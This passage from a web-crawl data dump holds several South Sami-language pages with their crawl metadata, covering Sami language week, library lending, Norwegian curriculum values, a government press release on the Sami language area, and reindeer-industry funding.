sijhtieh ånnetji saemien lïeredh jïh dah mah sijhtieh såemies baakoeh jïh raajesh jeatjah saemien gïelesne lïeredh.\nBaakoegærjah\nDatne baakoegærjah jieniebidie gïelide daesnie gaavnh: http:\/\/dicts.uit.no\/\nGuktie maahtah meatan sjïdtedh?\nMijjieh datnem haestebe programmem vuartasjidh, jïh öörnemh dov lïhke gaavnedh. Gaskesadth maaje dov lïhkemes gïelejarngem juktie darjomh jïh öörnemh gaavnedh don våhkoen. Gïelevåhkoen lea jïjtse facebook-sæjroe «Giellavahkku\/ Gïelevåhkoe\/ Giellavahkko\/ Samisk språkuke», jïh mijjieh datnem haestebe meatan fulkedh desnie juktie saernieh jïh orrestehtemh vuejnedh bïjre jarkan Saepmesne. Mijjen aaj instagram-konto «giellavahku», jïh daesnie sïjhth filmh, guvvieh jïh orrestehtemh abpe våhkoen gaavnedh.\nMijjieh gegkiestibie datne meatan sjïdth gaajhkine gieltegs heannadimmine, mejtie leah meatan fysiske jallh digitaale öörneminie. Nuhtjh saemien sosijaale medijinie abpe våhkoen, årroeh meatan mijjen tjaebpies, saemien gïelh våajnoes darjodh.\nPlakaath jïh guvvieh\nVeedtjh jïh nuhtjh dejtie gosse edtjih dov öörnemen bïjre bievnedh!\nMaahta gaajhkh frijlh frijjelaakan nuhtjedh tjïrrehtimmesne Gïelevåhkoste.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/giellavahkku.org\/sma\/om-uken\/","date":"2022-01-17T07:05:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300343.4\/warc\/CC-MAIN-20220117061125-20220117091125-00172.warc.gz","language":"sma","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000066757202148}","num_words":520,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jeatjah gærjagåetijste löönedh - maajelööneme\nJis materijelle maam sïjhth löönedh ij gærjagåetesne gååvnesh, maehtebe dam dutnjien dongkedh jeatjah gærjagåetijste (maajelööneme).\nReserveradidh, dongkedh jïh guhkebe tïjjem löönedh\nORIA:sne maahta gærjaj mietie syökedh. Desnie maahtah aaj reserveradidh, dongkedh jallh guhkiedidh löönemem.\nNaemhtie ORIAm nuhtjh\nJuktie ORIA:m nuhtjedh datne tjoerh jïjtjemdh löönijinie registereradidh. Dellie aktem löönemekåarhtem åadtjoeh mij aaj dov löönije-ID. Dan mænngan jïjtse baahtsemebaakoem åadtjoeh juktie ORIA:se tjaangedh.\nNaemhtie sïjse tjaangh\nDiedtieh voestegh svaalhtesem «Logg på» bijjemes åelkiesroenesne oria.no. Nuhtjh dov löönije-ID:m jïh BIBSYS-baahtsemebaakoem.\nSaemiedigkien gærjagåetie ij tjaangemesæjrosne tjåadtjoeh. Tjoerh BIBSYS veeljedh goh institusjovne. Tjaangh dov löönije-ID:ine jïh BIBSYS-baahtsemebaakojne.\nPåloggingsveiledning til Oria (PDF, 205 kB)","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/sametinget.no\/saemiedigkien-garjagaetie\/lane-og-bestille\/","date":"2022-01-20T06:11:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301720.45\/warc\/CC-MAIN-20220120035934-20220120065934-00615.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":101,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Monnehke evtiedimmie goh dåaresthfaageles teema skuvlesne edtja sjïehteladtedh learohkh maehtieh guarkedh maadthdilemmah jïh evtiedimmieh siebriedahkesne, jïh guktie maahta dejtie gïetedidh. Monnehke evtiedimmie lea jieledh eatnamisnie vaarjelidh jïh almetji daerpiesvoeth vaarjelidh gïeh daelie jielieminie, bielelen båetije boelvi nuepieh eerjedh maam dah daarpesjieh. Monnehke evtiedimmie goerkesisnie tseegkeme ektievoetem sosijaalen, ekonomijen jïh byjresen tsiehkiej gaskem. Almetjevoeten jieledevuekie jïh resursseåtnoeh åadtjoeh konsekvensh voengesne, regionaalesne jïh globaale daltesinie.\nBarkoen tjïrrh teemine edtjieh learohkh maahtoem evtiedidh mestie dah maehtieh dïedteles veeljemh vaeltedh jïh etihken jïh byjresevoerkesen mietie dahkedh. Learohkh edtjieh goerkesem åadtjodh dej darjomh jïh veeljemh leah vihkeles. Teeman sisnie dåeriesmoerh byjresasse jïh klijmese tjatneme, giefiesvoeten bïjre jïh guktie mijjieh vierhtide juekedh, tsælloeh, healsoe, seammavyörtegsvoete, demografije jïh ööhpehtimmie. Learohkh edtjieh lïeredh ektievoetem dej ovmessie vuajnoej gaskem monnehke evtiedimmesne.\nTeknologije almetjem, byjresem jïh siebriedahkem tsavtsa. Teknologijen maahtoe jïh maahtoe ektievoeten bïjre teknologijen jïh dej sosijaale, ekonomeles jïh byjresen bieliej gaskem monnehke nænnoestimmesne dan gaavhtan vihkeles daennie teemesne. Teknologijeevtiedimmie maahta dåeriesmoerh loetedh, men aaj orre darjodh. Maahtoe teknologijen bïjre lea guarkedh mah dåeriesmoerh maehtieh båetedh teknologijeåtnoste jïh guktie mijjieh maehtebe daejgujmie gïetedidh.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/prinsipper-for-laring-utvikling-og-danning\/tverrfaglige-temaer\/2.5.3-barekraftig-utvikling\/?kode=geo01-02&lang=sma","date":"2022-01-27T01:45:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320305052.56\/warc\/CC-MAIN-20220127012750-20220127042750-00714.warc.gz","language":"sma","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":259,"top_langs":"{\"sma_Latn_score\": 1.0000091791152954}","num_words":174,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Preassadieđáhus | Almmustahtton: 05.05.2017\n– Manne sïjhtem åarjelsaemien gïelem jïh kultuvrem nænnoestidh jïh gorredidh. Manne dan gaavhtan aavodem juktie Aarporte daelie bieliem saemiengïelen reeremedajveste sjædta. Daate vihkeles aaj dan saemien identiteeten åvteste tjïeltesne, tjïelte- jïh orrestehtemeministere Jan Tore Sanner jeahta.\nReerenasse lea daan biejjien sjæjsjalamme Aarporten tjïelte Nordlaantesne edtja meatan saemiengïelen reeremedajvesne snjaltjen 1.b. daan jaepien raejeste. Daate lea reerenassen vaajtelen mietie åarjelsaemiengïelem evtiedidh jïh nænnoestidh.\nAarporte lea akte daejstie vihkeles åarjelsaemiengïelen dajvijste. UNESCO;en læstosne håvhtadihks gïeligujmie åarjelsaemien akte itjmies håvhtadihks gïele jïh boelhkesne mahte nåhkehtamme. Dej minngemes jaepiej lea positijveles evtiedimmie orreme. Sjïere dah noerh leah ïedtjem åådtjeme åarjelsaemien gïelem lïeredh jïh saemiestidh. Dååjresh jeatjah tjïeltijste mah leah reeremedajvine vuesiehtieh gïele jollebe statusem åådtjeme dej dajvine.\n– Dïhte lea vihkeles voengesne saemiengïelen jïh kultuvren evtiedimmine barkedh jïh gusnie saemieh årroeh. Reerenasse dan gaavhtan positijve tjïelth ohtsedieh meatan sjïdtedh reeremedajvese, tjïelte- jïh orrestehtemeministere Jan Tore Sanner jeahta.\nSaemiengïelen reeremedajvesne saemiengïelen nöörjengieline mïrrestalleme. Daejnie tjïeltine fïerhten almetjen lea reakta gaegkiestimmien åadtjodh saemien gïeline gosse byjjes åajvaladtjine dajvesne bïeljelieh.\nÅrroji aaj stuerebe reaktah lïerehtimmie saemien gïelesne. Gosse Aarporte meatan saemien reeremedajvesne dellie reeremedajven daelie luhkieakte tjïelth, Finnmaarhkesne, Romsesne, Noerhtelaantesne jïh Noerhte-Trööndelaagesne. Aarporte gåalmede åarjelsaemien tjïelte reeremedajvesne sjædta.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.regjeringen.no\/se\/dokumeantavuorka\/solberga-raehus\/aktuelt-regjeringen-solberg\/aigeguovdil9\/preassadieahusat\/2017\/hattfjelldal-inn-i-forvaltningsomradet-for-samisk-sprak\/id2552045\/","date":"2022-01-17T05:13:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300289.37\/warc\/CC-MAIN-20220117031001-20220117061001-00245.warc.gz","language":"sma","language_score":0.9999756813,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999756813049316}","num_words":191,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åssjeleparagraafe almetjeaarvoen ov-mïedtelimmien nïlle tseegkeme jïh gaajhkh almetjh seamma aarvoem utnieh, seamma maam mijjiem joekedehtedh. Gosse lohkehtæjjah hoksem utnieh jïh daam learoehkidie vuesiehtieh jïh fïere guhtem vuejnieh, almetjeaarvoem jååhkesje goh våaromen aarvoe skuvlesne jïh siebriedahkesne.\nAlmetjereaktaj våarome almetjeaarvosne jïh dïhte vihkeles bielie reaktastaaten betneste. Dah universelle aarvojne tseegkeme mah gaajhkesidie faamosne seamma saaht gïeh dah leah, gubpede båetieh, jïh gusnie årroeh. Maanakonvensjovne bielie almetjereaktajste jïh maanide jïh noeride sjïere vaarjelimmiem vadta. Lïerehtimmie tjuara aktine almetjereaktajne årrodh, seamma aejkien goh learohkh edtjieh maahtoem almetjereaktaj bïjre lïeredh.\nSeammavyörtegs jïh mïrrestalleme leah aarvoeh mej åvteste histovrijen tjïrrh leah gæmhpome, jïh mah annje tjuerieh gorredidh jïh nænnoestehtedh. Skuvle edtja maahtoem jïh vuajnoeh buektedh mah daejtie aarvojde gorredidh. Gaajhkh learohkh edtja seammavyörtegs gïetedidh, jïh ij naan learohke edtjh sïerredimmiem domtedh. Learoehkidie edtjieh seammavyörtegs nuepieh vadta guktie dah maehtieh jïjtjeraarehke veeljedh. Skuvle edtja learohki gellievoetem krööhkestidh jïh sjïehteladtedh guktie gaajhkh åadtjoeh dååjrehtidh ektievoetem skuvlesne jïh siebriedahkesne. Mijjieh gaajhkh maehtebe dååjrehtidh mijjieh sjïerelaakan domtedh. Dan gaavhtan daarpesjibie joekehtsidie jååhkesjidh jïh viertiestidh.\nAlmetjh leah prååsehke jïh båajhtode darjoeh. Soelkedidh, nubpiegieriesvoete jïh solidariteete daarpesjieh jis almetjh edtjieh byjjenidh jïh evtiedidh. Fïere guhten persovneles jaahkoe jïh saetniesvoete edtja jååhkesjidh guktie gaajhkh maehtieh ussjedidh, jaehkedh jïh frijje håalodh. Learohkh edtjieh jïjtje meatan årrodh almetjeaarvoem gorredidh jïh ussjedidh guktie dah maehtieh heerredh daam ij mïedtelh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/opplaringens-verdigrunnlag\/1.1-menneskeverdet\/?kode=mdd01-02&lang=sma","date":"2022-05-20T01:16:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530553.34\/warc\/CC-MAIN-20220519235259-20220520025259-00070.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":254,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":213,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Naemhtie lea Socialståvrosne\nJis datne paarte jallh sæjjasadtje paarten sijjesne ierine mij jåhta Socialståvroen luvnie, dellie datne sjïere tsiehkine reaktam åtnah mijjiem gaskesadtedh dov jïjtje gïelesne, njaalmeldh jallh tjaaleldh.\nDaate jis datne soptsesth meänkielim, såevmiegïelem jallh saemiengïelem. Dov ierie tjuara aaj naan dejnie dej gïeli reeremedajvide gårreldihkie, vuesiehtimmien gaavhtan dan tjïrrh dov ierie darjomem dæjpa mij desnie gååvnese, jallh jis datne desnie årroeh. Daesnie maahtah vuejnedh jis datne reeremedajvesne årroeh\nDah ierieh mah dah evtemes maehtieh årrodh lea govlesovvemegyhtjelassh, staatedåarjoeh jïh ierieh reakteldh raeresne.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.socialstyrelsen.se\/om-socialstyrelsen\/nationella-minoriteter\/nasjonaale-unnebelahkoeh\/naemhtie-lea-socialstavrosne\/","date":"2022-05-18T22:26:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522556.18\/warc\/CC-MAIN-20220518215138-20220519005138-00292.warc.gz","language":"sma","language_score":0.999994874,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999948740005493}","num_words":84,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lohkh munnjien! - gïele voestesiereste lea prosjekte mejnie Nöörjen Saemiedigkie lea aalkeme.\nMijjieh sïjhtebe saemien maanah edtjieh dam ellen bööremes aalkovem åadtjodh goh gåarede sijjen gïelem evtiedidh. Gosse eejhtegh, aahka gon aajjah jïh jeatjah geerve almetjh maanese luhkieh dellie dïhte vihkeles våaromem vadta lïeremasse jïh lohkemelastose jïh mænngan lohkeme- jïh tjaelemebievniemasse.\nSaemiedigkien gærjagåetie prosjektem evtede siebrine Foreningen !les jïh Saemien lohkemejarngine jïh tjïeltigujmie ektine bïjre jarkan laantesne. Skraejriem prosjektese Lohkh munnjien libie nöörjen Bokstart-prosjekteste åådtjeme, jïh plearoeh prosjektijste mejtie gelline laantine tjïrrehtamme.\nMaanese lohkedh lea vadtese dov maanese jïh skåårveme båetijen aajkan!","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/sametinget.no\/saemiedigkien-garjagaetie\/lohkh-munnjien-giele-voestesiereste\/","date":"2022-05-28T10:17:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663016373.86\/warc\/CC-MAIN-20220528093113-20220528123113-00054.warc.gz","language":"sma","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.000008225440979}","num_words":91,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïerehtimmie edtja learoehkidie goerkesem vedtedh laejhtehks jïh daajroen ussjedimmiem guarkoeh. Laejhtehks jïh daajroen ussjedimmie lea jïermijes vuekine ussjedidh goerehtallemen jïh öörnedihks vuekine gosse konkreete barkoes haestemh, fenomeenh, jiehtegh jïh maahtoehammoeh dåastoehtidh. Lïerehtimmie edtja goerkesem skaepiedidh dah vuekieh mejgujmie saetniesvoetem goerehtidh tjuerieh sjïehtesjidh dïsse maam sïjhtebe goerehtidh, jïh vuekie maam veeljebe tsavtsa maam mijjieh vuejnebe.\nJis orre daajroe edtja sjïdtedidh, tjuara etableereme åssjelidie gïehtjedidh jïh laejhtedh teorijigujmie, vuekiejgujmie, argumeentigujmie, dååjrehtimmigujmie jïh vihtiestimmiejgujmie. Learohkh edtjieh maehtedh ovmessie maahtoen gaaltijh vuarjasjidh jïh laejhtehks ussjedidh guktie maahtoe eevtjesåvva. Dah edtjieh aaj maehtedh guarkedh dej dååjrehtimmieh, vuajnoeh jïh tjïrkes vuajnoeh maehtieh ovellies jallh båajhtode årrodh. Laejhtehks refleksjovne maahtoem kreava, men seamma aejkien sijjiem vadta ovvihtiesvoetese jïh ij daejrieh guktie sjædta. Lïerehtimmie tjuara dan gaavhtan balaansem ohtsedidh respektem etableereme daajroen jïh goerehtimmien jïh kreatijven ussjedimmien gaskem mejtie kreava jis orre daajroem evtiedidh.\nEtihkeles vuajnoe lea ovmessie aajkoeh sinsitnien vööste vïekesjidh jïh daerpies jis reflekteereme jïh deadteles almetje årrodh. Lïerehtimmie edtja learohki maehtelesvoetem evtiedidh dah etihkeles vuarjasjimmieh darjodh jïh dah etihkeles dåeriesmoerh demtieh.\nLaejhtehks ussjedimmie jïh etihkeles vuajnoe tsiehkieh lïeremen åvteste jïh bielie dejstie lierieh gellie ovmessie tsiehkine, jïh viehkehte learohkh hijven dööpmemefaamoem evtiedieh. Praktihkeles barkoedarjome jïh tjiehpiesvoeten barkoe krievieh maehtelesvoetem reflekteradidh jïh vuarjasjidh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/opplaringens-verdigrunnlag\/1.3-kritisk-tenkning-og-etisk-bevissthet\/?kode=mat06-04&lang=sma","date":"2022-05-21T14:47:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662539131.21\/warc\/CC-MAIN-20220521143241-20220521173241-00582.warc.gz","language":"sma","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":255,"top_langs":"{\"sma_Latn_score\": 1.0000089406967163}","num_words":197,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daajroe mijjen histovrijen jïh kultuvren bïjre lea vihkeles gosse learohkh dej identiteetem evtiedieh jïh ektievoetem siebriedahkesne skaepede. Learohkh edtjieh lïeredh dah aarvoeh jïh aerpievuekieh damtedh mah viehkiehtieh almetjh laantesne tjåanghkenieh. Kristeles jïh humanistihken aarvoe jïh aerpievuekie vihkeles bielie laanten tjåenghkies kultuvreaerpeste jïh vihkeles gosse mijjen demokratijem evtiedamme. Saemien kultuvreaerpie lea bielie kultuvreaerpeste Nöörjesne. Mijjen ektie kultuvreaerpie lea histovrijen tjïrrh evtiedamme jïh daaletjen jïh båetije boelvh edtjieh daam gorredidh.\nEktie referaansemierieh vihkeles fïere guhten ektievoetese siebriedahkesne. Daate ektievoetem skaepede jïh fïere guhten identiteete stuerebe ektievoetese jïh histovrijen ektiedæmman tjatnoe. Ektie mierie vadta jïh edtja sijjiem gellievoetese vedtedh, jïh learohkh edtjieh daejredh guktie mijjieh ektesne jielebe ovmessie perspektijvigujmie, vuajnoejgujmie jïh jieledevuajnoejgujmie. Mah dah dååjrehtieh gosse ovmessie kultuvrevuasahtallemh jïh aerpievuekieh gaavnesjieh, viehkiehtieh dej identiteetem hammoedidh. Hijven siebriedahken betnie lea feerhmeles jïh gellievoeten ektievoete.\nLïerehtimmie edtja vihtiestidh learohkh jearsoes gïeleutnijh sjidtieh, dah dej gïeleldh identiteetem evtiedieh, jïh dah maehtieh gïelem nuhtjedh gosse ussjedieh, digkiedieh, govlesedtieh jïh mubpide baanth tjatnoeh. Gïele mijjese ektievoetem jïh kulturelle goerkesem vadta. Nöörjesne daaroen jïh dah saemien gïelh åarjel-, julev- jïh noerhtesaemien seammavyörtegs. Daaroengïele seammavyörtegs tjaelemegïelh gærjagïele jïh orredaaroen. Daaroen væhtagïele lea jååhkesjamme goh elliesvyörtegs gïele Nöörjesne. Maahtoe siebriedahken gïeleldh gellievoete gaajhkh learoehkidie vadta vyörtegs maahtoem ovmessie våajnoehammojne, åssjelinie jïh aerpievuekine. Gaajhkh learohkh edtjieh dååjrehtidh gellie gïelh maehtedh lea vierhtie skuvlesne jïh siebriedahkesne.\nLïerehtimmien tjïrrh learohkh edtjieh daajroem åadtjodh saemien aalkoealmetjen histovrijen, kultuvren, siebriedahkejielemen jïh reaktaj bïjre. Learohkh edtjieh lïeredh gellievoeten bïjre jïh dah joekehtsi bïjre saemien kultuvresne jïh siebriedahkejieliedisnie.\nVïjhte almetjedåehkieh gellietjuetie jaepien govlesovveme Nöörjese staatusem utnieh goh nasjonaale unnebelåhkoeh mijjen internasjonaale dïedti mietie: judarh, kvenerh\/daaroensåevmieladtjh, skåajjesåevmieladtjh, romerh jïh romanialmetjh\/taaterh. Dah almetjidåehkieh leah viehkiehtamme daaroen kultuvreaerpiem hammoedamme jïh lïerehtimmie edtja dej almetjidåehkiej bïjre maahtoem vedtedh.\nAejkien tjïrrh daaroen siebriedahkem tsevtseme ovmessie straejmijste jïh kultuvreaerpievuekijste. Tïjjesne gusnie åålmege lea jienebh ektiedamme enn naan tïjje daan åvteli, jïh gusnie veartene lïhkebe tjatnasåvva, gïelemaahtoeh jïh kultuvregoerkesh enn vihkielåbpoe sjidtieh. Skuvle edtja dåarjoehtidh fïere guhten identiteeteevtiedimmiem, learohkh jearsoes darjodh gusnie dah leah jïh seamma aejkien dïhte edtja ektie aarvoeh buektedh mah daarpesjieh gosse ektievoetem gaavnesjieh jïh aktanieh, jïh oksh rïhpestieh veartanasse jïh båetije biejjide.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/opplaringens-verdigrunnlag\/1.2-identitet-og-kulturelt-mangfold\/?kode=med02-04&lang=sma","date":"2022-05-18T16:25:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522284.20\/warc\/CC-MAIN-20220518151003-20220518181003-00162.warc.gz","language":"sma","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":259,"top_langs":"{\"sma_Latn_score\": 1.000008225440979}","num_words":341,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Lohkh Evtiedimmieprogrammen bïjre laanteburrie- jïh båatsoebaseradamme sjïdtedæmman jïh aarvoesjugniedæmman noerhtesaemien:\n- Lohkh vielie Evtiedimmieprogrammen bïjre laanteburrie- jïh båatsoebaseradamme sjïdtedæmman jïh aarvoesjugniedæmman åarjelsaemien:\nEvtiedimmieprogramme laanteburrie- jïh båatsoebaseradamme sjïdtedæmman jïh aarvoesjugniedæmman edtja aktem stuerebe aarvoesjugniedimmiem jaksedh produksjovnen, kommersialiseradimmien jïh doekemen sisnjeli bovtsenbearkoste jïh lissiedorjesh bovtseste.\nGïeh maehtieh beetnehvierhtieh åadtjodh?\nMaahtah beetnehvierhtieh åadtjodh jis datne leah aktene daejstie kategorijijste:\n- Jåarhkeevtiedimmiesïelte maam båatsoealmetjh eekieh mij åejvieulmine åtna sjïere beapmoedorjesh bovtsenbearkoste evtiedidh\n- Båatsoealmetjh mah jåarhkeevtiedimmiesïeltigujmie laavenjostoeh gusnie aalkoe-ïebnh åtnasuvvieh sjïere beapmoedorjesh darjodh\n- Jåarhkeevtiedimmiesïelth jïh åeliedihks produsente-ektievoeth mah ulmine utnieh sjïere beapmoedorjesh bovtsenbearkoste darjodh\n- Båatsoealmetjh mah sijhtieh gïehtelimmiem aelkedh jallh evtiedidh juktie bovtsen lijkiedorjesh nuhtjedh\n- Båatsoealmetjh mah sijhtieh aelkedh jallh evtiedidh gïehtelimmieh mah leah fealadassese ektiedamme gusnie beapmoe lea jarngesne.\nMijjieh sïjhtebe beetnehvierhtieh edtjieh nåhtose båetedh båatsoealmetjidie. Daate sæjhta jiehtedh dåarjoe jåarhkeevtiedimmiesïeltide edtja ekonomeles gaagnine båatsose årrodh, goh lissiehtamme åasa jallh lissiehtamme doekemeveahka. Sjïere veajkoej maahta aaj dåarjoem orre tseegkemidie vedtedh.\nMïsse beetnehvierhtieh vedtebe?\n- Maahtah dåarjoem jallh aktem kombinasjovnem dåarjoste jïh löönemistie åadtjodh orresjugniedæmman jïh sïelteevtiedæmman, dorjeseevtiedæmman (aaj evtiedimmie emballasjeste), konsulenteveahkan jïh maahtoeevtiedæmman.\n- Beapmoe- jïh fealadassesuerkesne dåarjoe aaj maahta vadtasovvedh ektie såaltje- jïh maarhkedesaehtemeråajvarimmide.\n- Dåarjoe maahta vadtasovvedh dovne evtiedimmieboelhkese (åvteprosjekte) jïh åejvieprosjektide.\n- Dastegh prosjeekte, ryöktesth jallh ovryöktesth, lissiehtamme kapitaalem veadta, jallh stuerebe fysiske skåårvemh tjuerieh dorjesovvedh gåetine, maasjinine jïh vielie, maahta daan kapitaaledaerpiesvoetese löönedh. Orre tseegkeme gïehtelimmide gåarede aaj garantijem åadtjodh gïehtelimskredihtese.\nGolme åejviesuerkieh juktie beetnehvierhtieh åadtjodh:\n- Sïelteevtiedimmie\nMijjieh dåarjoem jallh dovne löönemem jïh dåarjoem vedtebe juktie bielieh myövhkes skåårvemijstie maeksedh. Dåarjoe fysiske skåårvemidie maahta ajve vadtasovvedh dej veajkoej gosse eevre daerpies juktie positijve evtiedimmiem hoksedh evtiedimmieprosjekti sjïekenisnie, jïh aaj orre tseegkemigujmie. Evtiedimmieprogramme lea åajvahkommes stuvreme dej tjïelti vööste mah joe leah tseegkesovveme, jïh edtja viehkiehtidh guktie sjïdtedimmie jïh evtiedimmie sjædta daej vierhkievierhtiej tjïrrh, sïelteevtiedimmie, sjïdtedimmiebarkoe jïh sïelteviermie.\n- Maahtoeråajvarimmie\nMaahtoe lea jarngesne sïelteevtiedimmesne. Bïhkedimmie guktie edtja gïehtelimmiem juhtedh, maarhkedemaahtoe jïh viermiebigkeme sijhtieh jarngesne årrodh juktie dam guhkiebasse gïehtelimmiem jïh evtiedimmiem hoksedh. Dovne Innovasjovne Nöörje jïh dej regijonaale maahtoeviermiej tjïrrh sæjhta maahtoeråajvarimmieh faalehtidh.\n- Ektie såaltje jïh maarhkedesaehtemeråajvarimmieh\nEktie maarhkedesaehteme beapmose jïh fealadassesuarkan lea mijjen mïelen mietie uvtemes råajvarimmieh mah viehkiehtieh guktie utnije minngiegietjesne sæjhta åestedh. Doh ektie maarhkedesaehtemeprosjekth edtjieh viehkiehtidh utnijedaajroem lissiehtidh jïh destie viehkiehtidh innovasjovnem jïh aarvoesjugniedimmiem lissiehtidh båatsosne, bovtsenbearkoesuerkesne jïh dan fealadassebaseradamme gïehtelæmman båatsosne.\nJuktie maehtedh vierhtieh nuhtjedh Evtiedimmieprogrammeste laanteburrie- jïh båatsoebaseradamme sjïdtedæmman jïh aarvoesjugniedæmman ektie marhkemesaehteme-råajvarimmide, tjuara tjyölkehke årrodh maam sæjhta jaksedh. Öörnedimmieh mah dagke leah beapmoeöörnedimmieh, jallh dovne beapmoem jïh fealadassem meatan utnieh, prioriteradamme sjædta. Soejkesjen mietie edtja aaj Maarhkedemoenehtsinie Bovtsenbearkose (Markedsutvalget for Reinkjøtt) laavenjostedh juktie synergijh ektieöörnedimmijste åadtjodh.\nÅvteprosjektedåarjoe\nÅvteprosjekte analyjsh jïh salkehtimmieh tjeekie mah leah daerpies juktie maehtedh sjæjsjalimmiem vaeltedh tjïrrehtimmien bïjre åejvieprosjekteste. Åvteprosjekte edtja aaj soejkesjem illedahkine utnedh tjïrrehtimmien bïjre åejvieprosjekteste.\nGaskesadth mijjem åvtelen ohtsh\nVi anbefaler deg å snakke med en rådgiver på ditt lokalkontor, slik at søknaden din blir best mulig Mijjieh datnem juvnehtibie aktine raeriestæjjine dov voenges kontovresne soptsestidh, guktie doh ohtseme dan hijven sjædta goh gåarede.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.innovasjonnorge.no\/no\/tjenester\/landbruk\/finansiering-for-landbruket\/reindriftsbasert-vekst-og-verdiskaping\/reindriftsbasert-sorsamisk\/","date":"2022-05-22T20:32:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662546071.13\/warc\/CC-MAIN-20220522190453-20220522220453-00347.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":469,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fylhkenålma maahta luhpiem vedtedh\nFylhkenålma lea dearjoetjåadtjoehtæjja dej jeenjemes slaavvoetseegkeldahki åvteste, jïh maahta luhpiem gïehteldæmman vedtedh mij dearjohte. Daate tseegkeldahkh feerhmie juktie dåastodh, veesmedh jïh slaavvoeh gïetedidh, bïjlebelhkenassesijjieh, våarhkoeh, komposteringtseegkeldahkh jïh båeltemstseegkeldahkh. Gosse Fylhkenålma dagkerh luhpieh vadta, dle gïehteldimmie muvhti veajkoej tjuara sjïere råajvarimmiejgujmie nïerhkedh juktie skaaride vaeniedidh mubpide. Fylhkenålma edtja aaj slaavvoesoejkesjh sïelkedahkijste utnedh, jïh dejtie vaaksjodh.\nFylhkenålma slaavvoetseegkeldahkide gïehtjede juktie hoksedh krïevenassh luhpine steeresuvvieh. Dïhte mij lea våarome gïehtjedimmide lea dearjoelaake, slaavvoemieriedimmieh, sisnjelds-gïehtjedimmien 